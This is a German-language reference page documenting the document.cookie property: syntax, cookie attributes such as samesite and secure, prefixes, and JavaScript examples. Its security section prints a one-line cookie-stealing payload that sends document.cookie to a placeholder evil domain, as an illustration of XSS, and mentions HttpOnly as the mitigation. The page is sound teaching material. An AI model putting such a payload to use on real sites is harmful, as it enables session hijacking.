Dokument: cookie-Eigenschaft
Baseline Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2015.
Die Document
-Eigenschaft cookie
ermöglicht es Ihnen, die mit dem Dokument verbundenen Cookies zu lesen und zu schreiben.
Sie dient als Getter und Setter für die tatsächlichen Werte der Cookies.
Syntax
Alle zugänglichen Cookies von diesem Ort aus lesen
allCookies = document.cookie;
Im obigen Code ist allCookies
eine Zeichenkette, die eine durch Semikolons getrennte Liste aller Cookies (d. h. key=value
-Paare) enthält.
Beachten Sie, dass jeder key und value von Leerzeichen (Leer- und Tabulatorzeichen) umgeben sein kann: Tatsächlich verlangt RFC 6265 ein einzelnes Leerzeichen nach jedem Semikolon, aber einige User Agents halten sich möglicherweise nicht daran.
Ein neues Cookie schreiben
document.cookie = newCookie;
Im obigen Code ist newCookie
eine Zeichenkette in der Form key=value
, die das zu setzende/aktualisierende Cookie angibt. Beachten Sie, dass Sie mit dieser Methode immer nur ein einzelnes Cookie gleichzeitig setzen/aktualisieren können. Beachten Sie auch, dass:
-
Jedes der folgenden Cookie-Attributwerte kann optional auf das Schlüssel-Wert-Paar folgen, jeweils durch ein Semikolon getrennt:
-
;domain=domain
(z. B.example.com
odersubdomain.example.com
): Der Host, an den das Cookie gesendet wird. Wird kein Host angegeben, wird dies standardmäßig auf den Hostanteil der aktuellen Dokumenten-Location gesetzt und das Cookie ist auf Subdomains nicht verfügbar. Wenn ein Domainname angegeben ist, sind Subdomains immer eingeschlossen. Entgegen früherer Spezifikationen werden führende Punkte in Domainnamen ignoriert, aber Browser könnten es ablehnen, das Cookie mit solchen Punkten zu setzen.Hinweis: Die Domain muss mit der Domain des JavaScript-Ursprungs übereinstimmen. Das Setzen von Cookies auf fremde Domains wird stillschweigend ignoriert.
-
;expires=date-in-UTCString-format
: Das Ablaufdatum des Cookies. Wenn wederexpires
nochmax-age
angegeben ist, wird es am Ende der Sitzung ablaufen.Warnung: Wenn der Schutz der Privatsphäre der Nutzer von Bedeutung ist, ist es wichtig, dass jede Webanwendung die Cookie-Daten nach einer bestimmten Zeitspanne ungültig macht, anstatt sich auf den Browser zu verlassen. Viele Browser erlauben es Nutzern, festzulegen, dass Cookies niemals ablaufen sollen, was nicht unbedingt sicher ist.
Siehe
Date.toUTCString()
zur Unterstützung der Formatierung dieses Werts. -
;max-age=max-age-in-seconds
: Die maximale Lebenszeit des Cookies in Sekunden (z. B.60*60*24*365
oder 31536000 für ein Jahr). -
;partitioned
: Gibt an, dass das Cookie mit partitioniertem Speicher gespeichert werden soll. Siehe Cookies Having Independent Partitioned State (CHIPS) für weitere Details. -
;path=path
: Der Wert desPath
-Attributs des Cookies (siehe Definieren, wohin Cookies gesendet werden für weitere Informationen). -
;samesite
: DasSameSite
-Attribut einesSet-Cookie
-Headers kann von einem Server gesetzt werden, um zu spezifizieren, wann das Cookie gesendet wird. Mögliche Werte sindlax
,strict
odernone
(siehe auch Steuerung von Drittanbieter-Cookies mitSameSite
).-
Der Wert
lax
sendet das Cookie für alle Same-Site-Anfragen und top-level Navigations-GET-Anfragen. Dies ist ausreichend für Benutzertracking, verhindert jedoch viele Cross-Site Request Forgery (CSRF)-Angriffe. Dies ist der Standardwert in modernen Browsern. - Der Wert
strict
verhindert, dass das Cookie vom Browser an die Zielseite in allen Cross-Site-Browsing-Kontexten gesendet wird, selbst beim Folgen eines normalen Links. -
Der Wert
none
besagt ausdrücklich, dass keine Einschränkungen gelten. Das Cookie wird in allen Anfragen gesendet - sowohl cross-site als auch same-site.
-
Der Wert
-
;secure
: Gibt an, dass das Cookie nur über ein sicheres Protokoll gesendet werden soll.
-
-
Die Cookie-Wert-Zeichenkette kann
encodeURIComponent()
verwenden, um sicherzustellen, dass die Zeichenkette keine Kommas, Semikolons oder Leerzeichen enthält (die in Cookie-Werten nicht erlaubt sind). -
Einige User Agent Implementierungen unterstützen die folgenden Cookie-Präfixe:
-
__Secure-
Signalisiert dem Browser, dass er das Cookie nur in Anfragen einfügen soll, die über einen sicheren Kanal übertragen werden. -
__Host-
Signalisiert dem Browser, dass zusätzlich zur Einschränkung, das Cookie nur von einem sicheren Ursprung zu nutzen, der Geltungsbereich des Cookies auf ein vom Server weitergegebenes Path-Attribut beschränkt ist. Wenn der Server das Path-Attribut weglässt, wird das "Verzeichnis" der Anforderungs-URI verwendet. Es signalisiert auch, dass das Domain-Attribut nicht vorhanden sein darf, was verhindert, dass das Cookie an andere Domains gesendet wird. Für Chrome muss das Path-Attribut immer der Ursprung sein.
Hinweis: Der Bindestrich wird als Teil des Präfixes betrachtet.
Hinweis: Diese Flags können nur mit dem
secure
-Attribut gesetzt werden. -
Hinweis: Wie aus dem obigen Code ersichtlich ist, ist document.cookie
eine Zugriffseigenschaft mit native setter- und getter-Funktionen und folglich kein Dateneigenschaft mit einem Wert: Was Sie schreiben, ist nicht dasselbe wie das, was Sie lesen; alles wird immer vom JavaScript-Interpreter vermittelt.
Beispiele
Beispiel 1: Einfache Nutzung
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "name=Oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";
function showCookies() {
const output = document.getElementById("cookies");
output.textContent = `> ${document.cookie}`;
}
function clearOutputCookies() {
const output = document.getElementById("cookies");
output.textContent = "";
}
<button onclick="showCookies()">Show cookies</button>
<button onclick="clearOutputCookies()">Clear</button>
<div>
<code id="cookies"></code>
</div>
Beispiel 2: Ein Beispiel-Cookie namens test2 abrufen
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";
const cookieValue = document.cookie
.split("; ")
.find((row) => row.startsWith("test2="))
?.split("=")[1];
function showCookieValue() {
const output = document.getElementById("cookie-value");
output.textContent = `> ${cookieValue}`;
}
function clearOutputCookieValue() {
const output = document.getElementById("cookie-value");
output.textContent = "";
}
<button onclick="showCookieValue()">Show cookie value</button>
<button onclick="clearOutputCookieValue()">Clear</button>
<div>
<code id="cookie-value"></code>
</div>
Beispiel 3: Etwas nur einmal ausführen
Um den folgenden Code zu verwenden, ersetzen Sie bitte alle Vorkommen des Wortes
doSomethingOnlyOnce
(den Namen des Cookies) durch einen benutzerdefinierten Namen.
function doOnce() {
if (
!document.cookie
.split("; ")
.find((row) => row.startsWith("doSomethingOnlyOnce"))
) {
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie =
"doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";
const output = document.getElementById("do-once");
output.textContent = "> Do something here!";
}
}
function clearOutputDoOnce() {
const output = document.getElementById("do-once");
output.textContent = "";
}
<button onclick="doOnce()">Only do something once</button>
<button onclick="clearOutputDoOnce()">Clear</button>
<div>
<code id="do-once"></code>
</div>
Beispiel 4: Das vorherige Cookie zurücksetzen
function resetOnce() {
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie =
"doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";
const output = document.getElementById("reset-once");
output.textContent = "> Reset!";
}
function clearOutputResetOnce() {
const output = document.getElementById("reset-once");
output.textContent = "";
}
<button onclick="resetOnce()">Reset only once cookie</button>
<button onclick="clearOutputResetOnce()">Clear</button>
<div>
<code id="reset-once"></code>
</div>
Beispiel 5: Die Existenz eines Cookies überprüfen
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "reader=1; SameSite=None; Secure";
function checkACookieExists() {
if (
document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
) {
const output = document.getElementById("a-cookie-existence");
output.textContent = '> The cookie "reader" exists';
}
}
function clearOutputACookieExists() {
const output = document.getElementById("a-cookie-existence");
output.textContent = "";
}
<button onclick="checkACookieExists()">Check a cookie exists</button>
<button onclick="clearOutputACookieExists()">Clear</button>
<div>
<code id="a-cookie-existence"></code>
</div>
Beispiel 6: Überprüfen, ob ein Cookie einen bestimmten Wert hat
function checkCookieHasASpecificValue() {
if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
const output = document.getElementById("a-specific-value-of-the-cookie");
output.textContent = '> The cookie "reader" has a value of "1"';
}
}
function clearASpecificValueOfTheCookie() {
const output = document.getElementById("a-specific-value-of-the-cookie");
output.textContent = "";
}
<button onclick="checkCookieHasASpecificValue()">
Check that a cookie has a specific value
</button>
<button onclick="clearASpecificValueOfTheCookie()">Clear</button>
<div>
<code id="a-specific-value-of-the-cookie"></code>
</div>
Sicherheit
Es ist wichtig zu beachten, dass das path
-Attribut nicht vor unbefugtem Lesen des Cookies von einem anderen Pfad schützt.
Es kann leicht mit dem DOM umgangen werden, zum Beispiel durch Erstellen eines versteckten <iframe>
-Elements mit dem Pfad des Cookies und anschließendem Zugriff auf die contentDocument.cookie
-Eigenschaft dieses iframes.
Der einzige Weg, das Cookie zu schützen, besteht darin, eine andere Domain oder Subdomain zu verwenden, aufgrund der Same-Origin-Policy.
Cookies werden häufig in Webanwendungen verwendet, um einen Benutzer und seine authentifizierte Sitzung zu identifizieren. Das Stehlen eines Cookies aus einer Webanwendung führt zum Hijacking der authentifizierten Sitzung des Benutzers. Gängige Methoden, um Cookies zu stehlen, sind der Einsatz von Social Engineering oder das Ausnutzen einer Cross-Site-Scripting (XSS) Schwachstelle in der Anwendung -
new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;
Das HTTPOnly
-Cookie-Attribut kann helfen, diesen Angriff zu mildern, indem verhindert wird, dass der Cookie-Wert über JavaScript zugänglich ist.
Lesen Sie mehr über Cookies und Sicherheit.
Anmerkungen
- Ab Firefox 2 ist ein besserer Mechanismus für die clientseitige Speicherung verfügbar - WHATWG DOM Storage.
- Sie können ein Cookie löschen, indem Sie seine Ablaufzeit auf null setzen.
- Beachten Sie, dass je mehr Cookies Sie haben, desto mehr Daten zwischen dem Server und dem Client für jede Anfrage übertragen werden. Dies wird jede Anfrage verlangsamen. Es wird dringend empfohlen, WHATWG DOM Storage zu verwenden, wenn Sie "client-only" Daten speichern möchten.
- RFC 2965 (Abschnitt 5.3, "Implementierungsgrenzen") gibt an, dass es keine maximale Länge für die Größe von Schlüssel oder Wert eines Cookies geben sollte und ermutigt Implementierungen, beliebig große Cookies zu unterstützen. Die maximale Implementierung variiert zwangsläufig zwischen den Browsern, konsultieren Sie daher die einzelnen Browser-Dokumentationen.
Der Grund für die Syntax der document.cookie
Zugriffseigenschaft liegt in der Client-Server-Natur von Cookies, die sich von anderen Client-Client-Speichermethoden unterscheidet (wie zum Beispiel localStorage):
Der Server weist den Client an, ein Cookie zu speichern
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
[content of the page here]
Der Client sendet dem Server die zuvor gespeicherten Cookies zurück
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*
Spezifikationen
Specification |
---|
HTML Standard # dom-document-cookie |
Browser-Kompatibilität
BCD tables only load in the browser